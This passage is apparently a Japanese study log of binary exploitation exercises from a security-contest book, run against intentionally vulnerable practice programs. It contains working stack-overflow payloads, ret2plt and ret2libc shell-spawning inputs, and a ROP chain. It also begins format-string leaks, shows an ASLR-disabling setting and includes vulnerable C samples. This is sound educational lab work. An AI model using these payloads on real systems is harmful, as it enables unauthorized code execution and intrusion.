4 |
リターンアドレス |
|
ebp |
4 |
1つ前のesp |
|
ebp-0x04 |
4 |
0初期化 |
zero |
ebp-0x0e |
10 |
buffer |
|
ebp-0x18 |
4 |
stdin |
|
ebp-0x1c |
4 |
bufferの先頭アドレス、その後、zeroのアドレス、その後、0x40 |
|
ebp-0x20 |
4 |
sub esp,0x20後にespが指してるところ、かつ、1回目と2回目のprintfの第1引数、その後、bufferの先頭アドレス |
|
ローカル変数を任意の値に書き換える
ここでは、バッファオーバーフローにより、ローカル変数を任意の値に書き換えることが出来ることを確認します。
ソースコードは以下です。
先ほどの bof1.c とほぼ同じですが、変数 zero を 0x12345678 にすることが出来れば、congrats!
のメッセージが得られるプログラムです。
#include <stdio.h>
int main(int argc, char *argv[]) {
int zero = 0;
char buffer[10];
printf("buffer address\t= %x\n", (int)buffer);
printf("zero address\t= %x\n", (int)&zero);
fgets(buffer, 64, stdin);
printf("zero = 0x%x\n", zero);
if (zero == 0x12345678) {
printf("congrats!\n");
}
return 0;
}
buffer配列は、10byteなので、その直後に、0x12345678 を与えればいいわけです。リトルエンディアンであることに注意します。
$ echo -e 'AAAAAAAAAA\x78\x56\x34\x12' | ./bof2
buffer address = ff883e52
zero address = ff883e5c
zero = 0x12345678
congrats!
リターンアドレスの書き換え
ここでは、ローカル変数を超えて、リターンアドレスを書き換えます。要領は同じです。ここで使用するソースコードです。
#include <stdio.h>
#include <string.h>
char buffer[32];
int main(int argc, char *argv[]) {
char local[32];
printf("buffer: 0x%x\n", &buffer);
fgets(local, 128, stdin);
strcpy(buffer, local);
return 0;
}
実行してみます。多めに A
を入力して、リターンアドレスを書き換えます。先ほどと同じく、セグメンテーションフォールトが発生しました。
$ python -c 'print("A" * 128)' | ./bof3
buffer: 0x804a060
Segmentation fault
何個の A
を入れたらいいかを数えるのが大変ですが、peda の patternコマンドを使うと簡単に見つけられるようです。やってみます。
run を実行する前に、pattern_create 50
と、適切な数のパターンを作成します。run を実行後、入力待ちになったら、作成したパターンを入力します。その後、SIGSEGV で停止します。そのときの EIP を見て、書き換えたい値(AFAA
)を与えて、patto AFAA
を実行します。すると、44番目と教えてくれます。
$ gdb -q bof3
no key sequence terminator:
Reading symbols from bof3...
(No debugging symbols found in bof3)
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
buffer: 0x804a060
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7e1cff4 --> 0x21cd8c
ECX: 0xffffd2e0 --> 0xa4162 ('bA\n')
EDX: 0x804a090 --> 0xa4162 ('bA\n')
ESI: 0x8048500 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x41304141 ('AA0A')
ESP: 0xffffd2e0 --> 0xa4162 ('bA\n')
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffd2e0 --> 0xa4162 ('bA\n')
0004| 0xffffd2e4 --> 0xffffd394 --> 0xffffd4ee ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3")
0008| 0xffffd2e8 --> 0xffffd39c --> 0xffffd54b ("SHELL=/bin/bash")
0012| 0xffffd2ec --> 0xffffd300 --> 0xf7e1cff4 --> 0x21cd8c
0016| 0xffffd2f0 --> 0xf7e1cff4 --> 0x21cd8c
0020| 0xffffd2f4 --> 0x804849d (<main>: push ebp)
0024| 0xffffd2f8 --> 0x1
0028| 0xffffd2fc --> 0xffffd394 --> 0xffffd4ee ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44
逆アセンブラを表示します。
$ objdump -M intel -d bof3
(途中、省略)
0804849d <main>:
804849d: 55 push ebp
804849e: 89 e5 mov ebp,esp
80484a0: 83 e4 f0 and esp,0xfffffff0
80484a3: 83 ec 30 sub esp,0x30
80484a6: c7 44 24 04 60 a0 04 mov DWORD PTR [esp+0x4],0x804a060
80484ad: 08
80484ae: c7 04 24 90 85 04 08 mov DWORD PTR [esp],0x8048590
80484b5: e8 96 fe ff ff call 8048350 <printf@plt>
80484ba: a1 40 a0 04 08 mov eax,ds:0x804a040
80484bf: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
80484c3: c7 44 24 04 80 00 00 mov DWORD PTR [esp+0x4],0x80
80484ca: 00
80484cb: 8d 44 24 10 lea eax,[esp+0x10]
80484cf: 89 04 24 mov DWORD PTR [esp],eax
80484d2: e8 89 fe ff ff call 8048360 <fgets@plt>
80484d7: 8d 44 24 10 lea eax,[esp+0x10]
80484db: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80484df: c7 04 24 60 a0 04 08 mov DWORD PTR [esp],0x804a060
80484e6: e8 85 fe ff ff call 8048370 <strcpy@plt>
80484eb: b8 00 00 00 00 mov eax,0x0
80484f0: c9 leave
80484f1: c3 ret
80484f2: 66 90 xchg ax,ax
80484f4: 66 90 xchg ax,ax
80484f6: 66 90 xchg ax,ax
80484f8: 66 90 xchg ax,ax
80484fa: 66 90 xchg ax,ax
80484fc: 66 90 xchg ax,ax
80484fe: 66 90 xchg ax,ax
今回は、リターンアドレスを main関数に設定して、2回 main関数が実行されるようにします。python でバイナリを与えるのは長くなるので、バイナリの部分は手動で作ります。
$ python -c 'print("A" * 44)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | ./bof3
buffer: 0x804a060
buffer: 0x804a060
Segmentation fault
リターンアドレスの書き換え(自分でコンパイル)
ここからは、同じことを自分でコンパイルしてやってみます。先ほどうまくいかなかった内容です。PIE は無効にしておきます。PIE が有効なままだと、プログラムのアドレスが毎回変わってしまって、設定するアドレスが分かりません。
まず、64bit でコンパイルします。サポートサイトからダウンロードしたファイルと同じく、セグメンテーションフォールトが発生しました。
$ mv bof3 bof3_org
$ gcc -fno-stack-protector -no-pie -o bof3 bof3.c
(警告は省略)
$ python -c 'print("A" * 128)' | ./bof3
buffer: 0x404060
Segmentation fault
次は、peda を使って、RIP に入る位置を求めます。ret命令で、SIGSEGV が出てしまっています。
$ gdb -q bof3
no key sequence terminator:
Reading symbols from bof3...
(No debugging symbols found in bof3)
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
buffer: 0x404060
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe268 --> 0x7fffffffe4ee ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3")
RCX: 0x30 ('0')
RDX: 0x13
RSI: 0x7fffffffe150 ("A)AAEAAaAA0AAFAAbA\n")
RDI: 0x404080 ("A)AAEAAaAA0AAFAAbA\n")
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe158 ("AA0AAFAAbA\n")
RIP: 0x4011a7 (<main+97>: ret)
R8 : 0x4056e3 --> 0x0
R9 : 0x0
R10: 0x7ffff7dd2260 --> 0x10001a000042a4
R11: 0x7ffff7f1eb70 (<__strcpy_avx2>: mov rcx,rsi)
R12: 0x0
R13: 0x7fffffffe278 --> 0x7fffffffe54b ("SHELL=/bin/bash")
R14: 0x403e00 --> 0x401110 (<__do_global_dtors_aux>: endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40119c <main+86>: call 0x401030 <strcpy@plt>
0x4011a1 <main+91>: mov eax,0x0
0x4011a6 <main+96>: leave
=> 0x4011a7 <main+97>: ret
0x4011a8 <_fini>: sub rsp,0x8
0x4011ac <_fini+4>: add rsp,0x8
0x4011b0 <_fini+8>: ret
0x4011b1: add BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe158 ("AA0AAFAAbA\n")
0008| 0x7fffffffe160 --> 0xa4162 ('bA\n')
0016| 0x7fffffffe168 --> 0x401146 (<main>: push rbp)
0024| 0x7fffffffe170 --> 0x100000000
0032| 0x7fffffffe178 --> 0x7fffffffe268 --> 0x7fffffffe4ee ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3")
0040| 0x7fffffffe180 --> 0x7fffffffe268 --> 0x7fffffffe4ee ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3")
0048| 0x7fffffffe188 --> 0x89fb11949ae966c8
0056| 0x7fffffffe190 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011a7 in main ()
gdb-peda$ patto AA0AAFAAbA
AA0AAFAAbA found at offset: 40
次は、逆アセンブラで main関数の先頭のアドレスを取得します。
$ objdump -M intel -d bof3
(途中、省略)
0000000000401146 <main>:
401146: 55 push rbp
401147: 48 89 e5 mov rbp,rsp
40114a: 48 83 ec 30 sub rsp,0x30
40114e: 89 7d dc mov DWORD PTR [rbp-0x24],edi
401151: 48 89 75 d0 mov QWORD PTR [rbp-0x30],rsi
401155: 48 8d 05 04 2f 00 00 lea rax,[rip+0x2f04]
40115c: 48 89 c6 mov rsi,rax
40115f: 48 8d 05 9e 0e 00 00 lea rax,[rip+0xe9e]
401166: 48 89 c7 mov rdi,rax
401169: b8 00 00 00 00 mov eax,0x0
40116e: e8 cd fe ff ff call 401040 <printf@plt>
401173: 48 8b 15 c6 2e 00 00 mov rdx,QWORD PTR [rip+0x2ec6]
40117a: 48 8d 45 e0 lea rax,[rbp-0x20]
40117e: be 80 00 00 00 mov esi,0x80
401183: 48 89 c7 mov rdi,rax
401186: e8 c5 fe ff ff call 401050 <fgets@plt>
40118b: 48 8d 45 e0 lea rax,[rbp-0x20]
40118f: 48 89 c6 mov rsi,rax
401192: 48 8d 05 c7 2e 00 00 lea rax,[rip+0x2ec7]
401199: 48 89 c7 mov rdi,rax
40119c: e8 8f fe ff ff call 401030 <strcpy@plt>
4011a1: b8 00 00 00 00 mov eax,0x0
4011a6: c9 leave
4011a7: c3 ret
では、リターンアドレスを書き換えます。うまくいきました!やはり、正常なアドレスならリターンアドレスに設定できるようです。
$ python -c 'print("A" * 40)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x46\x11\x40\x00\x00\x00\x00\x00' |
./bof3
buffer: 0x404060
buffer: 0x404060
Segmentation fault
Return to PLT(ret2plt)
先ほどは、リターンアドレスに任意のアドレスを設定することで、任意のアドレスにジャンプすることを確認しました。次は、具体的に、どこにジャンプすれば、フラグが獲得できるかを考えなければいけません。そこで、共有ライブラリの機能を実行できる PLT のセクションにジャンプすることを考えます。共有ライブラリとは、libc などで、システム関数を実行する機能があるので、シェルを取得できたりします。
まず、PLT を表示してみます。見慣れた標準ライブラリの関数が見えます。
$ objdump -M intel -d -j .plt bof3_org
bof3_org: file format elf32-i386
Disassembly of section .plt:
08048340 <.plt>:
8048340: ff 35 04 a0 04 08 push DWORD PTR ds:0x804a004
8048346: ff 25 08 a0 04 08 jmp DWORD PTR ds:0x804a008
804834c: 00 00 add BYTE PTR [eax],al
...
08048350 <printf@plt>:
8048350: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c
8048356: 68 00 00 00 00 push 0x0
804835b: e9 e0 ff ff ff jmp 8048340 <.plt>
08048360 <fgets@plt>:
8048360: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010
8048366: 68 08 00 00 00 push 0x8
804836b: e9 d0 ff ff ff jmp 8048340 <.plt>
08048370 <strcpy@plt>:
8048370: ff 25 14 a0 04 08 jmp DWORD PTR ds:0x804a014
8048376: 68 10 00 00 00 push 0x10
804837b: e9 c0 ff ff ff jmp 8048340 <.plt>
08048380 <__gmon_start__@plt>:
8048380: ff 25 18 a0 04 08 jmp DWORD PTR ds:0x804a018
8048386: 68 18 00 00 00 push 0x18
804838b: e9 b0 ff ff ff jmp 8048340 <.plt>
08048390 <__libc_start_main@plt>:
8048390: ff 25 1c a0 04 08 jmp DWORD PTR ds:0x804a01c
8048396: 68 20 00 00 00 push 0x20
804839b: e9 a0 ff ff ff jmp 8048340 <.plt>
先ほどは、リターンアドレスの書き換えで、main関数の先頭にジャンプさせましたが、今度は、printf関数の PLT にジャンプさせます(0x8048350)。このとき、printf@plt
に、call命令で来た場合と同じスタックの状態を作り出す必要があります。
call命令の前に、引数の設定(32bitはスタックに積む)を行い、call命令は、スタックをデクリメントして、リターンアドレスを設定して、PLT にたどり着きます。
スタックとしては、printf関数のように、引数が 2つの場合、アドレスの大きい方から、以下の表のように並んでいる必要があります。
実際の動きとしては、リターンアドレスを printf@plt に書き換えたとします。ret命令時は下表の esp のところのアドレスを esp に設定しておく必要があります。ret命令が実行されると、printf@plt にジャンプし、esp をインクリメントします(esp+0x04 の位置になります)。esp がこの位置を指している状態は、call命令で、printf@plt に着いた状態と同じです。具体的には、引数をスタックに積んで、call命令で、ジャンプ先に行き、スタックをデクリメントして、リターンアドレスをセットした状態と同じです。
アドレス |
サイズ |
内容 |
備考 |
esp+0x0c |
4 |
第2引数 |
|
esp+0x08 |
4 |
第1引数 |
|
esp+0x04 |
4 |
printf関数後のリターンアドレス |
ret命令後のesp |
esp |
4 |
printf@plt、その後、1つ前のebp |
ret命令時のesp |
では、具体的にやってみます。先ほどは、リターンアドレスまでを AAAA
で埋めて、その後に、リターンアドレスを設定していましたが、さらに、その後に、printf関数後のリターンアドレス(今回は必要ないので、BBBB
で埋める)、第1引数(グローバル変数 buffer のアドレス)、第2引数(今回は必要ないので無し)を設定します。
グローバル変数 buffer のアドレスは、readelfコマンドでシンボルテーブルを表示して取得します。
$ readelf -s bof3_org | grep buffer
54: 0804a060 32 OBJECT GLOBAL DEFAULT 25 buffer
必要な情報がそろったので、ret2plt をやってみます。
printf関数を実行できたようです。
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x0
4\x08' | ./bof3_org
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB`
Segmentation fault
グローバル変数 buffer のアドレスは、nmコマンドでも取得できます。
$ nm bof3_org | grep buffer
0804a060 B buffer
Return to PLT(ret2plt)(自分でコンパイル)
同じことを、自分で 64bitコンパイルしたプログラムでもやってみます。
$ objdump -M intel -d -j .plt bof3
bof3: file format elf64-x86-64
Disassembly of section .plt:
0000000000401020 <strcpy@plt-0x10>:
401020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca]
401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc]
40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0000000000401030 <strcpy@plt>:
401030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca]
401036: 68 00 00 00 00 push 0x0
40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>
0000000000401040 <printf@plt>:
401040: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2]
401046: 68 01 00 00 00 push 0x1
40104b: e9 d0 ff ff ff jmp 401020 <_init+0x20>
0000000000401050 <fgets@plt>:
401050: ff 25 ba 2f 00 00 jmp QWORD PTR [rip+0x2fba]
401056: 68 02 00 00 00 push 0x2
40105b: e9 c0 ff ff ff jmp 401020 <_init+0x20>
$ nm bof3 | grep buffer
0000000000404060 B buffer
32bitプログラムは引数をスタックに積みますが、64bitプログラムは引数にレジスタを使います。レジスタに任意の値を設定するには、ROP を使う必要があります。rp++ で、pop rdi + ret を探します。
やってみましたが、見つかりません。やり方が間違ってるのかと思って、以前使った「baby_stack」で試すと見つかりました。見つからなかったのは、小さいプログラムだからでしょうか。
$ rp-lin -f ./bof3 -r 4 | grep 'pop rdi'
$ rp-lin -f ./baby_stack -r 2 | grep 'pop rdi'
0x470931: pop rdi ; or byte [rax+0x39], cl ; ret ; (1 found)
他の方法(libc から探すとか)があると思いますが、今は分からないので後回しにします。
Return to libc(ret2libc)
ret2plt では、PLT にある関数しか使えませんでした。次は、直接 libc の関数を使います。
書籍では、libc の system関数のアドレスを取得するために GDB を使っています。GDB は、特別な設定をしていない限り、ASLR が無効だからと書かれています。しかし、その後、GDB ではなく、ターミナル上で、シェルを獲得する実行を行うのですが、この時には ASLR について言及がありません。とりあえず、書籍の通り進めてみます。
GDB の p(print)で、system関数のアドレスを取得します。
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7c4c8c0 <system>
system関数は第1引数に実行したいコマンド文字列を設定します。先ほどの printf関数と同じく、第1引数に buffer を設定します。system関数の第1引数に /bin/sh
を設定したいので、入力文字列の先頭に /bin/sh
を設定します(NULLも設定する)。
では、やってみます。catコマンドを追加しているのは、system関数を実行した後、シェルに対して、継続してコマンドを実行するためと説明されています。
シェルが取れました!
$
が無いので、見にくいかもしれませんが、lsコマンドを実行できています。
$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\xc8\xc4\xf7BBBB\x60\xa0\x04\x08'; cat) | ./bof3_org
buffer: 0x804a060
ls
atk.bin bof3.c peda-session-bof3.txt peda-session-dash.txt
bof3 bof3_org peda-session-bof3_org.txt
exit
exit
Segmentation fault
何度やってもうまくいきます。ASLR は影響しないんでしょうか。とりあえず、先に進みます。
自分でコンパイルしたプログラムについては、ret2plt と同様に、引数は RDI を使う必要があるので、pop rdi + ret のガジェットを見つける必要がありますが、自分のプログラム内にはなかったので、他の方法(libc から探すとか)が必要になるので後回しにします。
ret2plt、ret2libcの後にもう1回関数を呼ぶ(popret gadget)
ret2plt と ret2libc では、printf関数や、system関数の後のリターンアドレスは使わないので、BBBB
を埋めていました。今回は、ここに、別の関数のアドレスを設定して、連続で関数を呼びます。
書籍では、system関数の後に、exit関数を読んでいますので、ここでも同じ内容を実施します。
ここで 1つ問題があります。system関数の後に、exit関数を呼ぶだけなら、BBBB
に exit関数のアドレスを設定すればいいだけですが、exit関数の引数はどこに設定すればいいかということです。
スタックを表にしてみます。0x04 に exit関数のアドレスを入れることはできますが、exit関数のリターンアドレスと第1引数についても考える必要があります。system関数の第1引数と、exit関数のリターンアドレスが同じ場所で困りますし、最初に呼び出す関数(今回は system関数)に第2引数があった場合は、exit関数の第1引数で1つの値しか設定できないので困ります。
相対アドレス |
サイズ |
内容 |
備考 |
0x0c |
4 |
system関数の第2引数(実際は存在しない) |
exit関数の第1引数 |
0x08 |
4 |
system関数の第1引数 |
exit関数のリターンアドレス |
0x04 |
4 |
system関数のリターンアドレス |
ここにexit関数のアドレスを入れたい |
0x00 |
4 |
system関数 |
main関数のret命令で使われる |
system関数と exit関数の間に、スタックの位置を調整する命令(pop命令)を入れるとうまくいきます。具体的には、exit関数の代わりに、pop命令が1回実行されて、ret命令が実行されるような ROPガジェットを使うと、上の表の相対アドレス 0x14 の位置以降に exit関数のアドレス、exit関数のリターンアドレス、exit関数の第1引数を入れることでうまくいきます。
相対アドレス |
サイズ |
内容 |
備考 |
0x18 |
4 |
|
exit関数の第1引数 |
0x14 |
4 |
|
exit関数のリターンアドレス |
0x10 |
4 |
|
ROPガジェットのret命令で使われるexit関数のアドレス |
0x08 |
4 |
system関数の第1引数(buffer) |
pop命令でインクリメントされる |
0x04 |
4 |
system関数のリターンアドレス |
pop命令+ret命令のROPガジェットのアドレス |
0x00 |
4 |
system関数 |
main関数のret命令で使われる |
では、ROPガジェットを探します。以前は、rp++ を使いましたが、ここでは gdb-peda の機能を使ってみます。
popret が、いくつか見つかりました。この popret というのを使えばよさそうです。
gdb-peda$ start
(途中、省略)
gdb-peda$ ropgadget
ret = 0x8048322
popret = 0x8048339
pop2ret = 0x804855e
pop3ret = 0x804855d
pop4ret = 0x804855c
addesp_12 = 0x8048336
addesp_44 = 0x8048559
gdb-peda$ disas 0x804855d
(途中、省略)
0x08048559 <+89>: add esp,0x1c
0x0804855c <+92>: pop ebx
0x0804855d <+93>: pop esi
0x0804855e <+94>: pop edi
0x0804855f <+95>: pop ebp
0x08048560 <+96>: ret
End of assembler dump.
exit関数のアドレスについても、system関数と同じ要領で取得しておきます。
gdb-peda$ p exit
$1 = {<text variable, no debug info>} 0xf7c3bd00 <exit>
これで全ての材料が揃ったので、表で整理します。
相対アドレス |
サイズ |
内容 |
備考 |
0x18 |
4 |
0 |
exit関数の第1引数 |
0x14 |
4 |
0x42424242 |
exit関数のリターンアドレス(今回は使わないのでBBBB ) |
0x10 |
4 |
0xf7c3bd00 |
ROPガジェットのret命令で使われるexit関数のアドレス |
0x08 |
4 |
0x804a060 |
system関数の第1引数のbufferのアドレス |
0x04 |
4 |
0x8048339 |
pop命令+ret命令のROPガジェットのアドレス |
0x00 |
4 |
0xf7c4c8c0 |
main関数のret命令で使われるsystem関数 |
では、実際にやってみます。
前回とは異なり、セグメンテーションフォールトが出ていないので、exit関数の効果が確認できたということになります。
$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\xc8\xc4\xf7\x39\x83\x04\
x08\x60\xa0\x04\x08\x00\xbd\xc3\xf7BBBB\x00\x00\x00\x00'; cat) | ./bof3_org
buffer: 0x804a060
ls
atk.bin bof3.c peda-session-bof3.txt peda-session-dash.txt
bof3 bof3_org peda-session-bof3_org.txt
exit
exit
書式文字列攻撃の概略
上の printf系関数の書式文字列に脆弱性を含んでいるプログラム「format」 では、ユーザの入力を書式文字列に使ってしまう脆弱性のプログラムを動かしました。
ここでは、同じく、ユーザの入力を書式文字列に使ってしまう脆弱性のプログラムに対して、以下のステップでシェルを取りに行きます。
- 任意のアドレスのデータを読み取る
- 任意のアドレスにデータを書き込む
- GOT領域を書き換えて、system関数を使ってシェルを取る
では、順番にやっていきます。
書式文字列攻撃:任意のアドレスのデータを読み取る
ここで使うソースコードです。
ユーザの入力を書式文字列に使ってしまう脆弱性があります。これを使うと、任意のアドレスのデータを読み取ることが出来ます。ここでは、任意のアドレスのデータとして、グローバル変数の secret のデータを読み取ってみます。
#include <stdio.h>
int secret = 0x12345678;
int main(int argc, char *argv[]) {
char str[128];
fgets(str, 128, stdin);
printf(str);
printf("secret = 0x%x\n", secret);
return 0;
}
では、サポートサイトからダウンロードしたプログラム「fsb」を使って動かしてみます。入力としては、AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p
を与えてみます。
printf関数の引数として、入力した AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p
が使われます。32bit の x86 のプログラムの呼び出し規約は、逆順からスタックに積まれます。%p
が 9個あるので、printf関数の中では、9個のアドレスがスタックに積まれたと認識します(実際は引数に指定していないが、printf関数は積まれたとして動くしかない)。よって、9個のアドレスを出力してしまいます。
$ ./fsb
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p
AAAA0x80,0xf7e1d620,0xffd51384,0xf7f70ff4,0x2c,(nil),0x41414141,0x252c7025,0x70252c70
secret = 0x12345678
何のアドレスを出力しているのかを、GDB で確認してみたいと思いますが、その前に、セキュリティ機構を checksec で確認しておきます。SSP が有効になっています。
$ checksec --file=fsb
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 71 Symbols No 0 2 fsb
また、ASLR が有効だと、スタックの値を見ても、どこのアドレスが出力されたのか分からなくなるので、一時的に ASLR を無効にします。また、もう 1回「fsb」を実行しておきます。
kernel.randomize_va_space = 0
$ ./fsb
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p
AAAA0x80,0xf7e1d620,0xffffd484,0xf7ffcff4,0x2c,(nil),0x41414141,0x252c7025,0x70252c70
secret = 0x12345678
逆アセンブラを表示した後、fgets の次の行の printf関数を実行する直前まで進めました。スタックを見てみると、0000(最後にスタックに push した値)は、第1引数のユーザ入力(AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p
)になっています。第2引数以降は、0004、0008 が %p によって表示されることになります。0xffffd3d4
だけ異なりますね、なんででしょう。
[----------------------------------registers-----------------------------------]
EAX: 0xffffd28c ("AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p\n")
EBX: 0xf7e1cff4 --> 0x21cd8c
ECX: 0x0
EDX: 0xf7e1e9c4 --> 0x0
ESI: 0x8048540 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffd318 --> 0x0
ESP: 0xffffd270 --> 0xffffd28c ("AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p\n")
EIP: 0x8048503 (<main+70>: call 0x8048370 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80484f7 <main+58>: call 0x8048380 <fgets@plt>
0x80484fc <main+63>: lea eax,[esp+0x1c]
0x8048500 <main+67>: mov DWORD PTR [esp],eax
=> 0x8048503 <main+70>: call 0x8048370 <printf@plt>
0x8048508 <main+75>: mov eax,ds:0x804a028
0x804850d <main+80>: mov DWORD PTR [esp+0x4],eax
0x8048511 <main+84>: mov DWORD PTR [esp],0x80485d0
0x8048518 <main+91>: call 0x8048370 <printf@plt>
Guessed arguments:
arg[0]: 0xffffd28c ("AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffd270 --> 0xffffd28c ("AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p\n")
0004| 0xffffd274 --> 0x80
0008| 0xffffd278 --> 0xf7e1d620 --> 0xfbad2288
0012| 0xffffd27c --> 0xffffd3d4 --> 0xffffd520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/fsb/fsb")
0016| 0xffffd280 --> 0xf7ffcff4 --> 0x33f14
0020| 0xffffd284 --> 0x2c (',')
0024| 0xffffd288 --> 0x0
0028| 0xffffd28c ("AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Temporary breakpoint 2, 0x08048503 in main ()
gdb-peda$ x/9xw $sp+4
0xffffd274: 0x00000080 0xf7e1d620 0xffffd3d4 0xf7ffcff4
0xffffd284: 0x0000002c 0x00000000 0x41414141 0x252c7025
0xffffd294: 0x70252c70
逆アセンブラを表示します。1つだけ変化してたのは、main関数の第2引数の 1つ目(argv[0]、つまり、fsb)が格納されているアドレスです。なぜ変化したのかは分かりません。
先頭の 0x80 は、fget の第1引数で、7番目以降は fgets で入力された値が入っています(AAAAAAAA%p,%p,%p,%p,%p,%p,%p,%p,%p
)。
gdb-peda$ disas
Dump of assembler code for function main:
0x080484bd <+0>: push ebp
0x080484be <+1>: mov ebp,esp
0x080484c0 <+3>: and esp,0xfffffff0
0x080484c3 <+6>: sub esp,0xa0
0x080484c9 <+12>: mov eax,DWORD PTR [ebp+0xc]
0x080484cc <+15>: mov DWORD PTR [esp+0xc],eax
0x080484d0 <+19>: mov eax,gs:0x14
0x080484d6 <+25>: mov DWORD PTR [esp+0x9c],eax
0x080484dd <+32>: xor eax,eax
0x080484df <+34>: mov eax,ds:0x804a02c
0x080484e4 <+39>: mov DWORD PTR [esp+0x8],eax
0x080484e8 <+43>: mov DWORD PTR [esp+0x4],0x80
0x080484f0 <+51>: lea eax,[esp+0x1c]
0x080484f4 <+55>: mov DWORD PTR [esp],eax
0x080484f7 <+58>: call 0x8048380 <fgets@plt>
0x080484fc <+63>: lea eax,[esp+0x1c]
0x08048500 <+67>: mov DWORD PTR [esp],eax
=> 0x08048503 <+70>: call 0x8048370 <printf@plt>
0x08048508 <+75>: mov eax,ds:0x804a028
0x0804850d <+80>: mov DWORD PTR [esp+0x4],eax
0x08048511 <+84>: mov DWORD PTR [esp],0x80485d0
0x08048518 <+91>: call 0x8048370 <printf@plt>
0x0804851d <+96>: mov eax,0x0
0x08048522 <+101>: mov edx,DWORD PTR [esp+0x9c]
0x08048529 <+108>: xor edx,DWORD PTR gs:0x14
